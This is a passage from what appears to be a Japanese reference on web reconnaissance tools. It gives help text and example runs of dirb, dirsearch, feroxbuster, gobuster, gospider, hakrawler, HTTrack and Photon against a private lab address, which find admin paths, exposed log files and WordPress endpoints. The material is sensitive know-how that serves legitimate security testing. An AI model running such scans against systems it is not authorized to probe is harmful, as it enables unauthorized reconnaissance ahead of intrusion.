
START_TIME: Wed Sep 25 11:45:45 2024
URL_BASE: http://192.168.11.4/
WORDLIST_FILES: words.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 87568

---- Scanning URL: http://192.168.11.4/ ----
==> DIRECTORY: http://192.168.11.4/admin/ 
==> DIRECTORY: http://192.168.11.4/system/
==> DIRECTORY: http://192.168.11.4/manual/
==> DIRECTORY: http://192.168.11.4/logs/
==> DIRECTORY: http://192.168.11.4/2023/
==> DIRECTORY: http://192.168.11.4/2024/

-----------------
END_TIME: Wed Sep 25 11:48:56 2024

# logsディレクトリ直下のログファイルを探索
root@kali:~# dirb http://192.168.11.4/logs/ words.txt -X .log

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Sep 25 12:18:35 2024
URL_BASE: http://192.168.11.4/logs/
WORDLIST_FILES: words.txt
EXTENSIONS_LIST: (.log) | (.log) [NUM = 1]

-----------------

GENERATED WORDS: 87568                                                         

---- Scanning URL: http://192.168.11.4/logs/ ----
+ http://192.168.11.4/logs/stats.log (CODE:200|SIZE:29653)                   
+ http://192.168.11.4/logs/apps.log (CODE:200|SIZE:198823) 
+ http://192.168.11.4/logs/messages.log (CODE:200|SIZE:58863)                            

-----------------
END_TIME: Wed Sep 25 12:21:37 2024

dirsearch

Webサーバに対して単語リストを使用したウェブコンテンツ探索を行います。

■ 使用方法

root@kali:~# dirsearch --help

Usage: dirsearch.py [-u|--url] target [-e|--extensions] extensions [options]

Options:
  --version             show program\'s version number and exit
  -h, --help            show this help message and exit

  Mandatory:
    -u URL, --url=URL   Target URL(s), can use multiple flags
    -l PATH, --url-file=PATH
                        URL list file
    --stdin             Read URL(s) from STDIN
    --cidr=CIDR         Target CIDR
    --raw=PATH          Load raw HTTP request from file (use `--scheme` flag
                        to set the scheme)
    -s SESSION_FILE, --session=SESSION_FILE
                        Session file
    --config=PATH       Full path to config file, see 'config.ini' for example
                        (Default: config.ini)

  Dictionary Settings:
    -w WORDLISTS, --wordlists=WORDLISTS
                        Customize wordlists (separated by commas)
    -e EXTENSIONS, --extensions=EXTENSIONS
                        Extension list separated by commas (e.g. php,asp)
    -f, --force-extensions
                        Add extensions to the end of every wordlist entry. By
                        default dirsearch only replaces the %EXT% keyword with
                        extensions
    -O, --overwrite-extensions
                        Overwrite other extensions in the wordlist with your
                        extensions (selected via `-e`)
    --exclude-extensions=EXTENSIONS
                        Exclude extension list separated by commas (e.g.
                        asp,jsp)
    --remove-extensions
                        Remove extensions in all paths (e.g. admin.php ->
                        admin)
    --prefixes=PREFIXES
                        Add custom prefixes to all wordlist entries (separated
                        by commas)
    --suffixes=SUFFIXES
                        Add custom suffixes to all wordlist entries, ignore
                        directories (separated by commas)
    -U, --uppercase     Uppercase wordlist
    -L, --lowercase     Lowercase wordlist
    -C, --capital       Capital wordlist

  General Settings:
    -t THREADS, --threads=THREADS
                        Number of threads
    -r, --recursive     Brute-force recursively
    --deep-recursive    Perform recursive scan on every directory depth (e.g.
                        api/users -> api/)
    --force-recursive   Do recursive brute-force for every found path, not
                        only directories
    -R DEPTH, --max-recursion-depth=DEPTH
                        Maximum recursion depth
    --recursion-status=CODES
                        Valid status codes to perform recursive scan, support
                        ranges (separated by commas)
    --subdirs=SUBDIRS   Scan sub-directories of the given URL[s] (separated by
                        commas)
    --exclude-subdirs=SUBDIRS
                        Exclude the following subdirectories during recursive
                        scan (separated by commas)
    -i CODES, --include-status=CODES
                        Include status codes, separated by commas, support
                        ranges (e.g. 200,300-399)
    -x CODES, --exclude-status=CODES
                        Exclude status codes, separated by commas, support
                        ranges (e.g. 301,500-599)
    --exclude-sizes=SIZES
                        Exclude responses by sizes, separated by commas (e.g.
                        0B,4KB)
    --exclude-text=TEXTS
                        Exclude responses by text, can use multiple flags
    --exclude-regex=REGEX
                        Exclude responses by regular expression
    --exclude-redirect=STRING
                        Exclude responses if this regex (or text) matches
                        redirect URL (e.g. '/index.html')
    --exclude-response=PATH
                        Exclude responses similar to response of this page,
                        path as input (e.g. 404.html)
    --skip-on-status=CODES
                        Skip target whenever hit one of these status codes,
                        separated by commas, support ranges
    --min-response-size=LENGTH
                        Minimum response length
    --max-response-size=LENGTH
                        Maximum response length
    --max-time=SECONDS  Maximum runtime for the scan
    --exit-on-error     Exit whenever an error occurs

  Request Settings:
    -m METHOD, --http-method=METHOD
                        HTTP method (default: GET)
    -d DATA, --data=DATA
                        HTTP request data
    --data-file=PATH    File contains HTTP request data
    -H HEADERS, --header=HEADERS
                        HTTP request header, can use multiple flags
    --header-file=PATH  File contains HTTP request headers
    -F, --follow-redirects
                        Follow HTTP redirects
    --random-agent      Choose a random User-Agent for each request
    --auth=CREDENTIAL   Authentication credential (e.g. user:password or
                        bearer token)
    --auth-type=TYPE    Authentication type (basic, digest, bearer, ntlm, jwt,
                        oauth2)
    --cert-file=PATH    File contains client-side certificate
    --key-file=PATH     File contains client-side certificate private key
                        (unencrypted)
    --user-agent=USER_AGENT
    --cookie=COOKIE     

  Connection Settings:
    --timeout=TIMEOUT   Connection timeout
    --delay=DELAY       Delay between requests
    --proxy=PROXY       Proxy URL (HTTP/SOCKS), can use multiple flags
    --proxy-file=PATH   File contains proxy servers
    --proxy-auth=CREDENTIAL
                        Proxy authentication credential
    --replay-proxy=PROXY
                        Proxy to replay with found paths
    --tor               Use Tor network as proxy
    --scheme=SCHEME     Scheme for raw request or if there is no scheme in the
                        URL (Default: auto-detect)
    --max-rate=RATE     Max requests per second
    --retries=RETRIES   Number of retries for failed requests
    --ip=IP             Server IP address

  Advanced Settings:
    --crawl             Crawl for new paths in responses

  View Settings:
    --full-url          Full URLs in the output (enabled automatically in
                        quiet mode)
    --redirects-history
                        Show redirects history
    --no-color          No colored output
    -q, --quiet-mode    Quiet mode

  Output Settings:
    -o PATH, --output=PATH
                        Output file
    --format=FORMAT     Report format (Available: simple, plain, json, xml,
                        md, csv, html, sqlite)
    --log=PATH          Log file

■ 使用例

# ルート直下のディレクトリを探索
root@kali:~# dirsearch -u http://192.168.11.4/ -w words.txt 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 87649

Output File: /reports/http_192.168.11.4/__24-09-26_00-08-19.txt

Target: http://192.168.11.4/

[00:08:19] Starting: 
[00:08:19] 301 -  230B  - /admin  ->  http://192.168.11.4/admin/
[00:08:21] 301 -  231B  - /system  ->  http://192.168.11.4/system/
[00:08:21] 301 -  231B  - /manual  ->  http://192.168.11.4/manual/
[00:08:25] 301 -  229B  - /logs  ->  http://192.168.11.4/logs/
[00:09:16] 301 -  229B  - /2023  ->  http://192.168.11.4/2023/
[00:09:16] 301 -  229B  - /2024  ->  http://192.168.11.4/2024/

Task Completed

# logsディレクトリ直下のログファイルを探索
# "-e log -f"を指定して実行する場合はディレクトリの探索も行われるため"--suffixes .log"で代用
root@kali:~# dirsearch -u http://192.168.11.4/logs/ --suffixes .log -w words.txt
Extensions: php, aspx, jsp, html, js | Suffixes: .log | HTTP method: GET | Threads: 25 | Wordlist size: 87649

Output File: /reports/http_192.168.11.4/_logs__24-09-26_01-33-39.txt

Target: http://192.168.11.4/

[01:33:39] Starting: logs/
[01:33:39] 200 -    6B  - /logs/stats.log
[01:33:39] 200 -    6B  - /logs/apps.log
[01:33:41] 200 -    6B  - /logs/messages.log

Task Completed

feroxbuster

ブルートフォースと単語リストを組み合わせて、ターゲットディレクトリ内のリンクされていないコンテンツを検索します。

■ 使用方法

root@kali:~# feroxbuster --help

Usage: feroxbuster [OPTIONS]

Options:
  -h, --help
          Print help (see a summary with '-h')

  -V, --version
          Print version

Target selection:
  -u, --url <URL>
          The target URL (required, unless [--stdin || --resume-from || --request-file] used)

      --stdin
          Read url(s) from STDIN

      --resume-from <STATE_FILE>
          State file from which to resume a partially complete scan (ex. --resume-from ferox-1606586780.state)

      --request-file <REQUEST_FILE>
          Raw HTTP request file to use as a template for all requests

Composite settings:
      --burp
          Set --proxy to http://127.0.0.1:8080 and set --insecure to true

      --burp-replay
          Set --replay-proxy to http://127.0.0.1:8080 and set --insecure to true

      --smart
          Set --auto-tune, --collect-words, and --collect-backups to true

      --thorough
          Use the same settings as --smart and set --collect-extensions and --scan-dir-listings to true

Proxy settings:
  -p, --proxy <PROXY>
          Proxy to use for requests (ex: http(s)://host:port, socks5(h)://host:port)

  -P, --replay-proxy <REPLAY_PROXY>
          Send only unfiltered requests through a Replay Proxy, instead of all requests

  -R, --replay-codes <REPLAY_CODE>...
          Status Codes to send through a Replay Proxy when found (default: --status-codes value)

Request settings:
  -a, --user-agent <USER_AGENT>
          Sets the User-Agent (default: feroxbuster/2.11.0)

  -A, --random-agent
          Use a random User-Agent

  -x, --extensions <FILE_EXTENSION>...
          File extension(s) to search for (ex: -x php -x pdf js); reads values (newline-separated) from file if input starts with an @ (ex: @ext.txt)

  -m, --methods <HTTP_METHODS>...
          Which HTTP request method(s) should be sent (default: GET)

      --data <DATA>
          Request\'s Body; can read data from a file if input starts with an @ (ex: @post.bin)

  -H, --headers <HEADER>...
          Specify HTTP headers to be used in each request (ex: -H Header:val -H 'stuff: things')

  -b, --cookies <COOKIE>...
          Specify HTTP cookies to be used in each request (ex: -b stuff=things)

  -Q, --query <QUERY>...
          Request\'s URL query parameters (ex: -Q token=stuff -Q secret=key)

  -f, --add-slash
          Append / to each request\'s URL

      --protocol <PROTOCOL>
          Specify the protocol to use when targeting via --request-file or --url with domain only (default: https)

Request filters:
      --dont-scan <URL>...
          URL(s) or Regex Pattern(s) to exclude from recursion/scans

Response filters:
  -S, --filter-size <SIZE>...
          Filter out messages of a particular size (ex: -S 5120 -S 4927,1970)

  -X, --filter-regex <REGEX>...
          Filter out messages via regular expression matching on the response\'s body/headers (ex: -X '^ignore me$')

  -W, --filter-words <WORDS>...
          Filter out messages of a particular word count (ex: -W 312 -W 91,82)

  -N, --filter-lines <LINES>...
          Filter out messages of a particular line count (ex: -N 20 -N 31,30)

  -C, --filter-status <STATUS_CODE>...
          Filter out status codes (deny list) (ex: -C 200 -C 401)

      --filter-similar-to <UNWANTED_PAGE>...
          Filter out pages that are similar to the given page (ex. --filter-similar-to http://site.xyz/soft404)

  -s, --status-codes <STATUS_CODE>...
          Status Codes to include (allow list) (default: All Status Codes)

Client settings:
  -T, --timeout <SECONDS>
          Number of seconds before a client\'s request times out (default: 7)

  -r, --redirects
          Allow client to follow redirects

  -k, --insecure
          Disables TLS certificate validation in the client

      --server-certs <PEM|DER>...
          Add custom root certificate(s) for servers with unknown certificates

      --client-cert <PEM>
          Add a PEM encoded certificate for mutual authentication (mTLS)

      --client-key <PEM>
          Add a PEM encoded private key for mutual authentication (mTLS)

Scan settings:
  -t, --threads <THREADS>
          Number of concurrent threads (default: 50)

  -n, --no-recursion
          Do not scan recursively

  -d, --depth <RECURSION_DEPTH>
          Maximum recursion depth, a depth of 0 is infinite recursion (default: 4)

      --force-recursion
          Force recursion attempts on all 'found' endpoints (still respects recursion depth)

      --dont-extract-links
          Don\'t extract links from response body (html, javascript, etc...)

  -L, --scan-limit <SCAN_LIMIT>
          Limit total number of concurrent scans (default: 0, i.e. no limit)

      --parallel <PARALLEL_SCANS>
          Run parallel feroxbuster instances (one child process per url passed via stdin)

      --rate-limit <RATE_LIMIT>
          Limit number of requests per second (per directory) (default: 0, i.e. no limit)

      --time-limit <TIME_SPEC>
          Limit total run time of all scans (ex: --time-limit 10m)

  -w, --wordlist <FILE>
          Path or URL of the wordlist

      --auto-tune
          Automatically lower scan rate when an excessive amount of errors are encountered

      --auto-bail
          Automatically stop scanning when an excessive amount of errors are encountered

  -D, --dont-filter
          Don\'t auto-filter wildcard responses

      --scan-dir-listings
          Force scans to recurse into directory listings

Dynamic collection settings:
  -E, --collect-extensions
          Automatically discover extensions and add them to --extensions (unless they\'re in --dont-collect)

  -B, --collect-backups [<collect_backups>...]
          Automatically request likely backup extensions for "found" urls (default: ~, .bak, .bak2, .old, .1)

  -g, --collect-words
          Automatically discover important words from within responses and add them to the wordlist

  -I, --dont-collect <FILE_EXTENSION>...
          File extension(s) to Ignore while collecting extensions (only used with --collect-extensions)

Output settings:
  -v, --verbosity...
          Increase verbosity level (use -vv or more for greater effect. [CAUTION] 4 -v\'s is probably too much)

      --silent
          Only print URLs (or JSON w/ --json) + turn off logging (good for piping a list of urls to other commands)

  -q, --quiet
          Hide progress bars and banner (good for tmux windows w/ notifications)

      --json
          Emit JSON logs to --output and --debug-log instead of normal text

  -o, --output <FILE>
          Output file to write results to (use w/ --json for JSON entries)

      --debug-log <FILE>
          Output file to write log entries (use w/ --json for JSON entries)

      --no-state
          Disable state output file (*.state)

      --limit-bars <NUM_BARS_TO_SHOW>
          Number of directory scan bars to show at any given time (default: no limit)

Update settings:
  -U, --update
          Update feroxbuster to the latest version

NOTE:
    Options that take multiple values are very flexible.  Consider the following ways of specifying
    extensions:
        feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx

    The command above adds .pdf, .js, .html, .php, .txt, .json, and .docx to each url

    All of the methods above (multiple flags, space separated, comma separated, etc...) are valid
    and interchangeable.  The same goes for urls, headers, status codes, queries, and size filters.

■ 使用例

root@kali:~# feroxbuster --url http://192.168.11.4 --depth 2 --wordlist words.txt -x php -x html
[...]                                                                                  
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.11.4
 🚀  Threads               │ 50
 📖  Wordlist              │ words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      269l     2570w    53733c http://192.168.11.4/
301      GET        0l        0w        0c http://192.168.11.4/index.php => http://192.168.11.4/
200      GET      384l     3177w    19915c http://192.168.11.4/license.txt
200      GET       13l       78w     4373c http://192.168.11.4/wp-admin/images/wordpress-logo.png
200      GET      379l      743w     5967c http://192.168.11.4/wp-admin/css/install.css
302      GET        0l        0w        0c http://192.168.11.4/wp-admin/update-core.php => http://192.168.11.4/wp-login.php?redirect_to=http%3A%2F%2F192.168.11.4%2Fwp-admin%2Fupdate-core.php&reauth=1
302      GET        0l        0w        0c http://192.168.11.4/wp-admin/import.php => http://192.168.11.4/wp-login.php?redirect_to=http%3A%2F%2F192.168.11.4%2Fwp-admin%2Fimport.php&reauth=1
200      GET       23l       68w     1191c http://192.168.11.4/wp-admin/upgrade.php
302      GET        0l        0w        0c http://192.168.11.4/wp-admin/ => http://192.168.11.4/wp-login.php?redirect_to=http%3A%2F%2F192.168.11.4%2Fwp-admin%2F&reauth=1
200      GET      116l      408w     7852c http://192.168.11.4/wp-login.php
200      GET       17l       63w     1284c http://192.168.11.4/wp-admin/install.php
200      GET       97l      830w     7437c http://86wordpress/readme.html
[...]
[####################] - 5s     42738/42738   0s      found:74      errors:0      
[####################] - 2s     14205/14205   7307/s  http://192.168.11.4/ 
[####################] - 3s     14205/14205   4704/s  http://192.168.11.4/wp-content/ 
[####################] - 3s     14205/14205   4704/s  http://192.168.11.4/wp-includes/

Gobuster

単語リストを使用してURLやサブドメイン、バーチャルホスト、S3バケット名などの探索を行います。

■ 使用方法

root@kali:~# gobuster help

Usage:
  gobuster [command]

Available Commands:
  completion  Generate the autocompletion script for the specified shell
  dir         Uses directory/file enumeration mode
  dns         Uses DNS subdomain enumeration mode
  fuzz        Uses fuzzing mode. Replaces the keyword FUZZ in the URL, Headers and the request body
  gcs         Uses gcs bucket enumeration mode
  help        Help about any command
  s3          Uses aws bucket enumeration mode
  tftp        Uses TFTP enumeration mode
  version     shows the current version
  vhost       Uses VHOST enumeration mode (you most probably want to use the IP address as the URL parameter)

Flags:
      --debug                 Enable debug output
      --delay duration        Time each thread waits between requests (e.g. 1500ms)
  -h, --help                  help for gobuster
      --no-color              Disable color output
      --no-error              Don\'t display errors
  -z, --no-progress           Don\'t display progress
  -o, --output string         Output file to write results to (defaults to stdout)
  -p, --pattern string        File containing replacement patterns
  -q, --quiet                 Don\'t print the banner and other noise
  -t, --threads int           Number of concurrent threads (default 10)
  -v, --verbose               Verbose output (errors)
  -w, --wordlist string       Path to the wordlist. Set to - to use STDIN.
      --wordlist-offset int   Resume from a given position in the wordlist (defaults to 0)

■ 使用例

root@kali:~# gobuster dir --url http://192.168.11.4/includes/ -x inc --wordlist words.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.11.4/includes/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              inc
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/common.inc           (Status: 200) [Size: 290727]
/image.inc            (Status: 200) [Size: 12137]
/mail.inc             (Status: 200) [Size: 21628]
/password.inc         (Status: 200) [Size: 9362]
/ajax.inc             (Status: 200) [Size: 45330]
/menu.inc             (Status: 200) [Size: 132504]
/install.inc          (Status: 200) [Size: 40782]
/form.inc             (Status: 200) [Size: 182668]
/file.inc             (Status: 200) [Size: 84154]
/date.inc             (Status: 200) [Size: 4505]
/update.inc           (Status: 200) [Size: 58047]
/language.inc         (Status: 200) [Size: 13605]
/cache.inc            (Status: 200) [Size: 17508]
/theme.inc            (Status: 200) [Size: 97675]
/module.inc           (Status: 200) [Size: 36163]
[...]
===============================================================
Finished
===============================================================

root@kali:~# gobuster fuzz --url http://192.168.11.4/?q=FUZZ --wordlist words.txt --excludestatuscodes 404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.11.4/?q=FUZZ
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                words.txt
[+] Excluded Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in fuzzing mode
===============================================================
Found: [Status=403] [Length=7713] [Word=search] http://192.168.11.4/?q=search
Found: [Status=200] [Length=7648] [Word=user] http://192.168.11.4/?q=user
Found: [Status=200] [Length=9860] [Word=0] http://192.168.11.4/?q=0
Found: [Status=403] [Length=7877] [Word=admin] http://192.168.11.4/?q=admin
Found: [Status=200] [Length=9860] [Word=node] http://192.168.11.4/?q=node
Found: [Status=403] [Length=7713] [Word=Search] http://192.168.11.4/?q=Search
Found: [Status=200] [Length=9293] [Word=User] http://192.168.11.4/?q=User
Found: [Status=403] [Length=7710] [Word=Admin] http://192.168.11.4/?q=Admin
[...]

GoSpider

指定されたサイトをクローリングしてURLを収集します。

■ 使用方法

root@kali:~# gospider --help

Usage:
  gospider [flags]

Flags:
  -s, --site string            Site to crawl
  -S, --sites string           Site list to crawl
  -p, --proxy string           Proxy (Ex: http://127.0.0.1:8080)
  -o, --output string          Output folder
  -u, --user-agent string      User Agent to use
                                web: random web user-agent
                                mobi: random mobile user-agent
                                or you can set your special user-agent (default "web")
      --cookie string          Cookie to use (testA=a; testB=b)
  -H, --header stringArray     Header to use (Use multiple flag to set multiple header)
      --burp string            Load headers and cookie from burp raw http request
      --blacklist string       Blacklist URL Regex
  -t, --threads int            Number of threads (Run sites in parallel) (default 1)
  -c, --concurrent int         The number of the maximum allowed concurrent requests of the matching domains (default 5)
  -d, --depth int              MaxDepth limits the recursion depth of visited URLs. (Set it to 0 for infinite recursion) (default 1)
  -k, --delay int              Delay is the duration to wait before creating a new request to the matching domains (second)
  -K, --random-delay int       RandomDelay is the extra randomized duration to wait added to Delay before creating a new request (second)
  -m, --timeout int            Request timeout (second) (default 10)
      --sitemap                Try to crawl sitemap.xml
      --robots                 Try to crawl robots.txt (default true)
  -a, --other-source           Find URLs from 3rd party (Archive.org, CommonCrawl.org, VirusTotal.com)
  -w, --include-subs           Include subdomains crawled from 3rd party. Default is main domain
  -r, --include-other-source   Also include other-source\'s urls (still crawl and request)
      --debug                  Turn on debug mode
  -v, --verbose                Turn on verbose
      --no-redirect            Disable redirect
      --version                Check version
  -h, --help                   help for gospider

■ 使用例

root@kali:~# gospider -v -d 5 -s http://192.168.11.4/
INFO Crawling site: http://192.168.11.4/
[subdomains] - 192.168.11.4
[url] - [code-200] - http://192.168.11.4/
[javascript] - http://192.168.11.4/wp-includes/blocks/navigation/view.min.js?ver=3776ea67846b3bb10fe8f7cdd486b0ba
[url] - [code-200] - http://192.168.11.4/wp-includes/wlwmanifest.xml
[url] - [code-200] - http://192.168.11.4/?feed=comments-rss2
[url] - [code-200] - http://192.168.11.4/xmlrpc.php?rsd
[url] - [code-200] - http://192.168.11.4/?feed=rss2
[url] - [code-200] - http://192.168.11.4/?page_id=2
[url] - [code-200] - http://192.168.11.4/?page_id=733
[url] - [code-200] - http://192.168.11.4/?page_id=1977
[url] - [code-200] - http://192.168.11.4/?page_id=701
[url] - [code-200] - http://192.168.11.4/?page_id=703
[...]

Hakrawler

指定されたURLをクローリングしてURLを収集します。

■ 使用方法

root@kali:~# hakrawler --help

Usage of hakrawler:
  -d int
        Depth to crawl. (default 2)
  -h string
        Custom headers separated by two semi-colons. E.g. -h "Cookie: foo=bar;;Referer: http://example.com/"
  -insecure
        Disable TLS verification.
  -json
        Output as JSON.
  -proxy string
        Proxy URL. E.g. -proxy http://127.0.0.1:8080
  -s    Show the source of URL based on where it was found. E.g. href, form, script, etc.
  -size int
        Page size limit, in KB. (default -1)
  -subs
        Include subdomains for crawling.
  -t int
        Number of threads to utilise. (default 8)
  -timeout int
        Maximum time to crawl each URL from stdin, in seconds. (default -1)
  -u    Show only unique urls.

■ 使用例

root@kali:~# echo http://192.168.11.4 | hakrawler
http://192.168.11.4/
http://192.168.11.4/?page_id=2
http://192.168.11.4/?page_id=703
http://192.168.11.4/?page_id=701
http://192.168.11.4/?page_id=182
http://192.168.11.4/?page_id=1134
http://192.168.11.4/?page_id=1133
http://192.168.11.4/?page_id=501
http://192.168.11.4/?page_id=155
http://192.168.11.4/?page_id=156
http://192.168.11.4/?page_id=174
[...]

HTTrack

指定されたサイトをローカルにコピーします。

■ 使用方法

root@kali:~# httrack --help

        usage: httrack <URLs> [-option] [+<URL_FILTER>] [-<URL_FILTER>] [+<mime:MIME_FILTER>] [-<mime:MIME_FILTER>]
        with options listed below: (* is the default value)

General options:
  O  path for mirror/logfiles+cache (-O path_mirror[,path_cache_and_logfiles]) (--path <param>)

Action options:
  w *mirror web sites (--mirror)
  W  mirror web sites, semi-automatic (asks questions) (--mirror-wizard)
  g  just get files (saved in the current directory) (--get-files)
  i  continue an interrupted mirror using the cache (--continue)
  Y   mirror ALL links located in the first level pages (mirror links) (--mirrorlinks)

Proxy options:
  P  proxy use (-P proxy:port or -P user:pass@proxy:port) (--proxy <param>)
 %f *use proxy for ftp (f0 don\'t use) (--httpproxy-ftp[=N])
 %b  use this local hostname to make/send requests (-%b hostname) (--bind <param>)

Limits options:
  rN set the mirror depth to N (* r9999) (--depth[=N])
 %eN set the external links depth to N (* %e0) (--ext-depth[=N])
  mN maximum file length for a non-html file (--max-files[=N])
  mN,N2 maximum file length for non html (N) and html (N2)
  MN maximum overall size that can be uploaded/scanned (--max-size[=N])
  EN maximum mirror time in seconds (60=1 minute, 3600=1 hour) (--max-time[=N])
  AN maximum transfer rate in bytes/seconds (1000=1KB/s max) (--max-rate[=N])
 %cN maximum number of connections/seconds (*%c10) (--connection-per-second[=N])
  GN pause transfer if N bytes reached, and wait until lock file is deleted (--max-pause[=N])

Flow control:
  cN number of multiple connections (*c8) (--sockets[=N])
  TN timeout, number of seconds after a non-responding link is shutdown (--timeout[=N])
  RN number of retries, in case of timeout or non-fatal errors (*R1) (--retries[=N])
  JN traffic jam control, minimum transfert rate (bytes/seconds) tolerated for a link (--min-rate[=N])
  HN host is abandoned if: 0=never, 1=timeout, 2=slow, 3=timeout or slow (--host-control[=N])

Links options:
 %P *extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don\'t use) (--extended-parsing[=N])
  n  get non-html files 'near' an html file (ex: an image located outside) (--near)
  t  test all URLs (even forbidden ones) (--test)
 %L <file> add all URL located in this text file (one URL per line) (--list <param>)
 %S <file> add all scan rules located in this text file (one scan rule per line) (--urllist <param>)

Build options:
  NN structure type (0 *original structure, 1+: see below) (--structure[=N])
     or user defined structure (-N "%h%p/%n%q.%t")
 %N  delayed type check, don\'t make any link test but wait for files download to start instead (experimental) (%N0 don\'t use, %N1 use for unknown extensions, * %N2 always use)
 %D  cached delayed type check, don\'t wait for remote type during updates, to speedup them (%D0 wait, * %D1 don\'t wait) (--cached-delayed-type-check)
 %M  generate a RFC MIME-encapsulated full-archive (.mht) (--mime-html)
  LN long names (L1 *long names / L0 8-3 conversion / L2 ISO9660 compatible) (--long-names[=N])
  KN keep original links (e.g. http://www.adr/link) (K0 *relative link, K absolute links, K4 original links, K3 absolute URI links, K5 transparent proxy link) (--keep-links[=N])
  x  replace external html links by error pages (--replace-external)
 %x  do not include any password for external password protected websites (%x0 include) (--disable-passwords)
 %q *include query string for local files (useless, for information purpose only) (%q0 don\'t include) (--include-query-string)
  o *generate output html file in case of error (404..) (o0 don\'t generate) (--generate-errors)
  X *purge old files after update (X0 keep delete) (--purge-old[=N])
 %p  preserve html files 'as is' (identical to '-K4 -%F ""') (--preserve)
 %T  links conversion to UTF-8 (--utf8-conversion)

Spider options:
  bN accept cookies in cookies.txt (0=do not accept,* 1=accept) (--cookies[=N])
  u  check document type if unknown (cgi,asp..) (u0 don\'t check, * u1 check but /, u2 check always) (--check-type[=N])
  j *parse Java Classes (j0 don\'t parse, bitmask: |1 parse default, |2 don\'t parse .class |4 don\'t parse .js |8 don\'t be aggressive) (--parse-java[=N])
  sN follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always, 3=always (even strict rules)) (--robots[=N])
 %h  force HTTP/1.0 requests (reduce update features, only for old servers or proxies) (--http-10)
 %k  use keep-alive if possible, greately reducing latency for small files and test requests (%k0 don\'t use) (--keep-alive)
 %B  tolerant requests (accept bogus responses on some servers, but not standard!) (--tolerant)
 %s  update hacks: various hacks to limit re-transfers when updating (identical size, bogus response..) (--updatehack)
 %u  url hacks: various hacks to limit duplicate URLs (strip //, www.foo.com==foo.com..) (--urlhack)
 %A  assume that a type (cgi,asp..) is always linked with a mime type (-%A php3,cgi=text/html;dat,bin=application/x-zip) (--assume <param>)
     shortcut: '--assume standard' is equivalent to -%A php2 php3 php4 php cgi asp jsp pl cfm nsf=text/html
     can also be used to force a specific file type: --assume foo.cgi=text/html
 @iN internet protocol (0=both ipv6+ipv4, 4=ipv4 only, 6=ipv6 only) (--protocol[=N])
 %w  disable a specific external mime module (-%w htsswf -%w htsjava) (--disable-module <param>)

Browser ID:
  F  user-agent field sent in HTTP headers (-F "user-agent name") (--user-agent <param>)
 %R  default referer field sent in HTTP headers (--referer <param>)
 %E  from email address sent in HTTP headers (--from <param>)
 %F  footer string in Html code (-%F "Mirrored [from host %s [file %s [at %s]]]" (--footer <param>)
 %l  preffered language (-%l "fr, en, jp, *" (--language <param>)
 %a  accepted formats (-%a "text/html,image/png;q=0.9,*/*;q=0.1" (--accept <param>)
 %X  additional HTTP header line (-%X "X-Magic: 42" (--headers <param>)

Log, index, cache
  C  create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before) (--cache[=N])
  k  store all files in cache (not useful if files on disk) (--store-all-in-cache)
 %n  do not re-download locally erased files (--do-not-recatch)
 %v  display on screen filenames downloaded (in realtime) - * %v1 short version - %v2 full animation (--display)
  Q  no log - quiet mode (--do-not-log)
  q  no questions - quiet mode (--quiet)
  z  log - extra infos (--extra-log)
  Z  log - debug (--debug-log)
  v  log on screen (--verbose)
  f *log in files (--file-log)
  f2 one single log file (--single-log)
  I *make an index (I0 don\'t make) (--index)
 %i  make a top index for a project folder (* %i0 don\'t make) (--build-top-index)
 %I  make an searchable index for this mirror (* %I0 don\'t make) (--search-index)

■ 使用例

root@kali:~# httrack https://192.168.11.4
Mirror launched on Tue, 15 Oct 2024 13:18:53 by HTTrack Website Copier/3.49-5 [XR&CO\'2014]
mirroring https://192.168.11.4 with the wizard help..
[...]
Thanks for using HTTrack!

Photon

WebサイトをクローリングしてページURLやメールアドレス、静的ファイルのURLなどを収集します。

■ 使用方法

root@kali:~# photon --help

usage: photon.py [-h] [-u ROOT] [-c COOK] [-r REGEX] [-e {csv,json}] [-o OUTPUT] [-l LEVEL] [-t THREADS] [-d DELAY] [-v]
                 [-s SEEDS [SEEDS ...]] [--stdout STD] [--user-agent USER_AGENT] [--exclude EXCLUDE] [--timeout TIMEOUT] [--clone] [--headers]
                 [--dns] [--keys] [--only-urls] [--wayback]

options:
  -h, --help            show this help message and exit
  -u ROOT, --url ROOT   root url
  -c COOK, --cookie COOK
                        cookie
  -r REGEX, --regex REGEX
                        regex pattern
  -e {csv,json}, --export {csv,json}
                        export format
  -o OUTPUT, --output OUTPUT
                        output directory
  -l LEVEL, --level LEVEL
                        levels to crawl
  -t THREADS, --threads THREADS
                        number of threads
  -d DELAY, --delay DELAY
                        delay between requests
  -v, --verbose         verbose output
  -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...]
                        additional seed URLs
  --stdout STD          send variables to stdout
  --user-agent USER_AGENT
                        custom user agent(s)
  --exclude EXCLUDE     exclude URLs matching this regex
  --timeout TIMEOUT     http request timeout
